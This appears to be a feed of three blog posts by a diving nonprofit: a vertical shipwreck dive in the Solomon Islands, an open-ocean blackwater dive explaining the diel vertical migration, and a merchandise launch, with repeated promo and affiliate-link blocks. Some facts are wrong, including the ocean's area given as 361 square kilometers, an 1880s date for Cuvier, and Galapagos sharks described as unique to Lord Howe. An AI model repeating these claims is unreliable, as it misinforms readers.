Our diving experience on the Taiyo was an adventure in and of itself. We boarded our dingy boat from the Sylfia and powered ourselves over the crystal-clear water towards a nearby village. We were on our way to pick up a local friend of ours who knew exactly where the Taiyo wreak was located. For most of the trip, we were entirely distracted by the beauty of the surrounding islands, but all of a sudden our attentions shifted to something beneath the water.

The water in the Solomon Islands is so clear and the Taiyo wreck is so shallow that it can be easily seen from the surface. It’s so visible that a few of our crew members thought the dingy was going to hit the wreck. But we didn’t, we glided over it slowly like we were skating over a moment frozen in time.

Most of the time when you dive into a shipwreck, you descend through the depths to find a shipwreck at the bottom. Because of the depth, you’re usually limited with the amount of time you can spend exploring underwater history. The Taiyo’s vertical position makes this wreck dive different from conventional ones. You can explore the wreck the entire time you’re descending and ascending, even spending your safety stop time combing the sides of the wreck for alien-looking nudibranchs. 

The variety of nudibranchs really sets this wreck apart in our minds too. If you don’t know, a nudibranch is a slug that lives under the water. But they’re fancy slugs. The variety of colours, patterns, shapes, and sizes in the nudibranch community is unparalleled in the natural world. These soft-bodied creatures look like they’ve come from a world where everyone has as much fun as the adventurous Expedition Drenched crew.

Without a doubt, this wreck dive will stand out in your mind for the rest of your life, as it will in ours. Shipwrecks are always a wonderful underwater adventure but the vertical orientation of the Taiyo combined with the stunning clarity of the Solomon Islands water make this dive almost a religious experience. We had an epiphany and her name is Taiyo.

Solomon Island lagoons - Shipwreck Graveyards

The lagoons and reefs of the Solomon Islands are a beautiful sight for the eyes but can be serious dangers for ships and even smaller boats like our Sylfia. As we were coming through the reef to find our spot to shelter for the night, our depth finders reported a depth of 2.5 meters over the reef. The entire crew was sweating buckets for the half-hour it took to squeeze ourselves into the lagoon since the Sylfia’s hull is only 2.5 meters deep.

At roughly 700 sq. km., Marovo lagoon is the second-largest saltwater lagoon in the world. It also contains some of the largest coral reef systems in the entire Solomon Islands because the lagoon is protected by barrier reefs and raised limestone islands. 

Nono lagoon is located on the southwest side of Vangunu Island, just one of several islands in the area that are extinct volcanoes. Like the Marovo lagoon, the Nono lagoon is also protected by its largest quantity of reefs and the surrounding islands that pepper the ocean landscape. 

 

Season 3 of Expedition Drenched is now underway and we are off on another out-of-this-world experience with our third set of ocean-loving crew members. Stay tuned to our YouTube channel for our latest vlogs as we travel to and explore Lord Howe Island nestled in the Pacific Ocean between Australia and New Zealand. As always, it’s going to be a wild adventure!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
BUY AT AMAZON
Keldan Video 8X 10,000 Lumen 5,000K Video
Keldan Video 8X 10,000 Lumen 5,000K Video
BUY AT AMAZON
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
BUY AT AMAZON

The post We Dived a Magical Vertical Shipwreck – One of Only TWO in the Whole World! first appeared on Drenched Productions.

]]> https://drenchedproductions.com/we-dived-a-magical-vertical-shipwreck-one-of-only-two-in-the-whole-world/feed/ 2 2356 We Went Blackwater Diving Over 9,000ft of Water to See the Diel Vertical Migration https://drenchedproductions.com/we-went-blackwater-diving-over-9000ft-of-water-to-see-the-diel-vertical-migration/ https://drenchedproductions.com/we-went-blackwater-diving-over-9000ft-of-water-to-see-the-diel-vertical-migration/#comments Sat, 02 Jul 2022 19:37:50 +0000 https://drenchedproductions.com/?p=2242 We put on our SCUBA gear, attached ourselves to ropes, and let the Sylfia drag us through 9,000ft deep open ocean water in the middle of the night. And we’d do it again! Expedition Drenched goes open ocean blackwater diving!

The post We Went Blackwater Diving Over 9,000ft of Water to See the Diel Vertical Migration first appeared on Drenched Productions.

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Blackwater Diving Over 9,000 FT of Water | Expedition Drenched

We Went Blackwater Diving Over 9,000ft of Water to See the Diel Vertical Migration

Expedition Drenched

02 July 2022

We put on our SCUBA gear, attached ourselves to ropes, and let the Sylfia drag us through 9,000ft deep open ocean water in the middle of the night. And we’d do it again! Expedition Drenched goes open ocean blackwater diving!

We’ve been on the Sylfia and the open water for almost two weeks now, slowly making our way from mainland Australia to Lord Howe Island. The voyage so far has been fairly problem-free and the new crew is adapting well to a life at sea. 

Night diving is something that the Expedition Drenched crew does pretty often. We love being underwater after dark to witness how the ocean changes when the sun goes away. This is when most of the creatures in the ocean start to move around looking for food. 

As we sail towards our next stop on our way to Lord Howe Island, we thought we’d take advantage of the extremely deep water we were in and do a blackwater dive. We won’t lie – we were all a bit nervous before the dive. Who wouldn’t be nervous to be underwater in the pitch-black attached to a boat that’s drifting and pulling you through the current? But those nerves disappeared soon after we jumped into the soup of creatures that the Diel Vertical Migration delivered right to us. 

Diel Vertical Migration - Largest Migration in the World

When people think of large animal migrations, they usually think of geese flying south for the winter or wildebeests travelling over the Serengeti because we can easily see these migrations. But actually, the largest migration in the world happens twice a day in the deep oceans. 

The term ‘diel vertical migration’ is easy to understand if you break down its parts. Diel means that it happens every day. Vertical refers to the direction of movement. And migration highlights the mass movement of animals. The average creature migrates 1,000m towards the surface when the sun goes down, then migrates 1,000m back to the depths at the end of the night. That’s a huge distance to travel since most creatures are quite small. It would be the equivalent of you having to run 10km to go get your dinner and then having to run 10km back home to go to bed.

Diel Migration | Expedition Drenched
Daily migration of marine life between the twilight zone and the ocean surface – animation by NASA
( https://earthobservatory.nasa.gov/blogs/fromthefield/2018/08/)

The Diel Vertical Migration is such a large event that it causes turbulence in the ocean water. Migrating jellyfish can move water upwards through the water column and this movement carries nutrients across water boundaries to new places.

The daily migrations of marine creatures were first noticed by French naturalist Georges Cuvier in the early 1880s. While the exact reason for such a large movement of animals is still unclear, the best explanation to date is that they swim toward surface waters to feed at night while conditions will keep them hidden from predators. Some creatures may migrate to take advantage of the reduced exposure to ultraviolet radiation, while others use the nighttime currents to move to areas with more food. 

The Diel Vertical Migration also plays a significant role in the carbon cycle. The creatures that feed at the surface during the night return to the depths for the daylight hours and they take their waste with them. This accelerates the rate at which carbon is transported to the sea floor and sequestered. With climate change still worsening, the conditions in the ocean are constantly changing. If conditions get too bad and the daily migration of these animals is disrupted, there could be huge implications for the environment. 

So, What Is Blackwater Diving?

Blackwater diving is exactly what it sounds like – diving in black water. It’s essentially a really special night dive. This type of diving is still relatively unknown to a lot of the SCUBA diving community but it is gaining popularity quite quickly. And for good reason, too. It’s an awesome experience.

There are three different types of blackwater dives: bonfire, near a reef, and open ocean (or off-shore). Each of these dives focuses on diving in dark water and experiencing the marine creatures that emerge at night, but each is unique and requires different things from a diver.

A bonfire dive is the easiest blackwater dive so it makes a good starting point to ease into this (sometimes scary) type of diving. It’s usually done in shallow water (10-18 meters) in an area with no current. Lights are placed on the ocean bottom pointing upwards (almost looking like a group of bonfires) and they attract all sorts of nocturnal animals.

A near reef blackwater dive is the most challenging type of blackwater dive, even though the name makes it sound pretty chill. These dives usually take place along a reef or wall where there is open ocean immediately adjacent. Lights that mimic moonlight are placed around 10-15 meters down in the water column and they attract life from the neighbouring reef or wall and the depths. A decent amount of diving experience is helpful to undertake this dive since the lack of visual references in the water often presents divers with buoyancy issues. 

The last type of blackwater diving sounds terrifying but is going to give you the best experience – open ocean blackwater diving. To do this dive correctly, you should be in the open ocean over thousands of feet of water and in a slight current. Since those conditions could mean drifting away in open water at night, open ocean blackwater diving has to be a bit different. Each diver is connected to a drop line that is also connected to the boat. They can ascend and descend along the rope but as the boat is pulled through the current, the divers will be pulled along with it. 

 

 

This is the type of dive that we’ve just done. For many of the crew, it was their first blackwater dive of any kind so nerves were a bit high, but so were the excitement levels. Plus, it was a perfect chance to take full advantage of the Sylfia’s brand new in-hull Lumitec Marine Lights. As we were on deck gearing up and going through our blackwater dive briefing, our awesome Lumitec lights were attracting all sorts of bizarre and other-worldly creatures up from the deep.

Lumitec Marine Lights | Expedition Drenched

Rainbows of Colour in the Dark, Dark Night

It’s hard to describe this dive to people who weren’t there. How can you properly describe seeing the most beautiful rainbows of colour in the pitch-dark night? The ocean creatures that drifted past our faces in the dark waters of the Pacific Ocean at 2:30 am absolutely blew our minds. 

We saw an incredible variety of bioluminescent creatures that emit their own light, like Comb jellyfish. These jellies have genes that produce photoproteins, a combination of two chemicals involved in light production. When calcium is added to the molecule, light is born. Comb jellies also produce rainbow effects when the comb-like plates on their bodies break up due to water turbulence and diffract the surrounding light. 

Lord Howe Night Dive | Expedition Drenched
Lord Howe Island - Blackwater Diving | Expedition Drenched
Blackwater Diving | Expedition Drenched
Black Abyss Diving | Expedition Drenched

 

Really and truly, the only way to understand what we saw on this amazing open ocean blackwater dive is to check out the Expedition Drenched Season 3 Episode 4 video that’s live on our YouTube channel now. Make sure you check it out and throw us a like and subscribe. Also, drop a comment and let us know about the cool stuff you’ve seen on a blackwater dive!

Next Stop - Elizabeth Reef

  • Coordinates: 29°57′25″S 159°4′32″E
  • Distance from Lord Howe Island: 175km
  • Width: 10.5km
  • Length: 6.1km
  • # of Recorded Fish Species: 311

Our next stop is Elizabeth Reef, roughly 175km north of Lord Howe Island. Elizabeth Reef and neighbouring Middleton Reef form the Lord Howe Rise, an underwater plateau. They’re both also part of a regulated marine park so it should be a stunning location for some seriously wicked dives. 

One of the most exciting things about Elizabeth Reef is the high recorded number of Galapagos sharks. These sharks are only found around Lord Howe Island and Lord Howe Rise so they were already one of the draws of our expedition to the area. But the high number of Galapagos sharks at Elizabeth Reef may suggest that the reef acts as a nursery and that is a very exciting prospect for the shark-loving Sylfia crew.

Stay tuned to our YouTube channel and come explore this idyllic coral reef with us!

 

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
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Keldan Video 8X 10,000 Lumen 5,000K Video
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BUY AT AMAZON
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
BUY AT AMAZON

The post We Went Blackwater Diving Over 9,000ft of Water to See the Diel Vertical Migration first appeared on Drenched Productions.

]]> https://drenchedproductions.com/we-went-blackwater-diving-over-9000ft-of-water-to-see-the-diel-vertical-migration/feed/ 1 2242 New Merch From Expedition Drenched https://drenchedproductions.com/more-bubbles-less-troubles-new-merch-from-expedition-drenched/ Wed, 22 Jun 2022 21:12:26 +0000 https://drenchedproductions.com/?p=2072 Our online store on the Expedition Drench website was already fully stocked with awesome, ocean-inspired gear that will get you noticed on the beach, on a sailboat, or even on a dive site. From t-shirts to swimwear, to accessories, to children’s apparel - we have it all.

The post New Merch From Expedition Drenched first appeared on Drenched Productions.

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New Merch From Expedition Drenched

New Merch From Expedition Drenched

Expedition Drenched

23 June 2022

Our online store on the Expedition Drench website was already fully stocked with awesome, ocean-inspired gear that will get you noticed on the beach, on a sailboat, or even on a dive site. From t-shirts to swimwear, to accessories, to children’s apparel – we have it all.

And now we have even more. 

That’s right, we’ve dropped a whole bunch of new products and new designs into our shopping catalogue. Without a doubt, there’s something for everyone, whether they’re scuba divers, environmentalists, ocean-aware city-dwellers, or even marine conservation armchair captains.

More Bubble Less Trouble - Scuba Diving | Expedition Drenched

New Expedition Drenched Products

Bring the ocean, and the Expedition Drenched message, into your daily yoga practice with our ocean-inspired leggings. Not into yoga? No worries. Our Tsunami leggings and our Deep Sea Leggings are both incredibly versatile and are perfect for scuba diving, snorkeling, workouts, hiking, lazy movie nights, trips to the store, and more! Plus, the colorful and eye-catching ocean designs will get you noticed both above and below the waves. 

Eagle Ray Legging - Scuba Diving, Marine life | Expedition Drenched

Remember Peanut from Season 1? We loved having Peanut aboard the Sylfia. Peanut the pig was born in a small village on Tana Island in Vanuatu. She loves naps and snacks almost as much as we love sailing and diving. Our precious Peanut isn’t sailing the high seas with us anymore (don’t worry, she lives in the Solomon Islands with a family that loves her), but that doesn’t mean she is forgotten. Our new line contains the cutest Peanut t-shirt for kids, in bright colours that properly represent her personality.

Pig T-shirt | Expedition Drenched
Peanut - Pig | Expedition Drenched
Peanuts - Sailing Pig | Expedition Drenched

What Is Expedition Drenched, really?

Our office is the entire sea. That’s right. Our office covers roughly 361 square kilometers or 71% of the world’s surface. It’s a huge amount of space to explore and document. 

Expedition Drenched is a group of storytellers, passionate artists, and creative content creators who travel the world to raise marine conservation awareness. We specialize in underwater videography but all of our talents shine anytime you put us in an adventurous natural environment. 

We exist to bring to light the marine conservation issues that are plaguing our world and to drive a sustainable spirit in other people. Through our activities, we hope to empower others to join the fight to save our oceans and the huge quantity of marine life that they contain. 

We’re a Marine Educational Non-Profit 501c3 organization and that means we rely wholly on donations from supporters and the sale of our sweet merchandise to fund our mission.

What Will My Purchase Support?

Expedition Drenched is made possible by the generous donations of sponsors and from people just like YOU who snap up our cool, ocean-supporting merchandise. Our products help us to keep producing more exciting videos and get more and more people to fall in love with our beautiful oceans.  

Every time you purchase a product from the Expedition Drenched line, you’re supporting us to keep our boat, the Sylfia, well-maintained and sea-worthy for all her exciting journeys. You’re helping us to purchase the underwater video equipment we need to film and document our exciting underwater world and show that world to the world through our YouTube episodes. 

We could not do this without you. Without you, there is no Expedition Drenched.

Where Can I Buy Expedition Drenched Merch?

We may be a group of pirates, but we understand that land-dwellers like options for their shopping experiences. So we’ve given you options!

 

You can purchase our merchandise right here on our website through our Shop section, but you can also get your hands on our Expedition Drenched gear through our Facebook page and our Instagram channel.

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
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BUY AT AMAZON
Keldan Video 8X 10,000 Lumen 5,000K Video
Keldan Video 8X 10,000 Lumen 5,000K Video
BUY AT AMAZON
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
BUY AT AMAZON

The post New Merch From Expedition Drenched first appeared on Drenched Productions.

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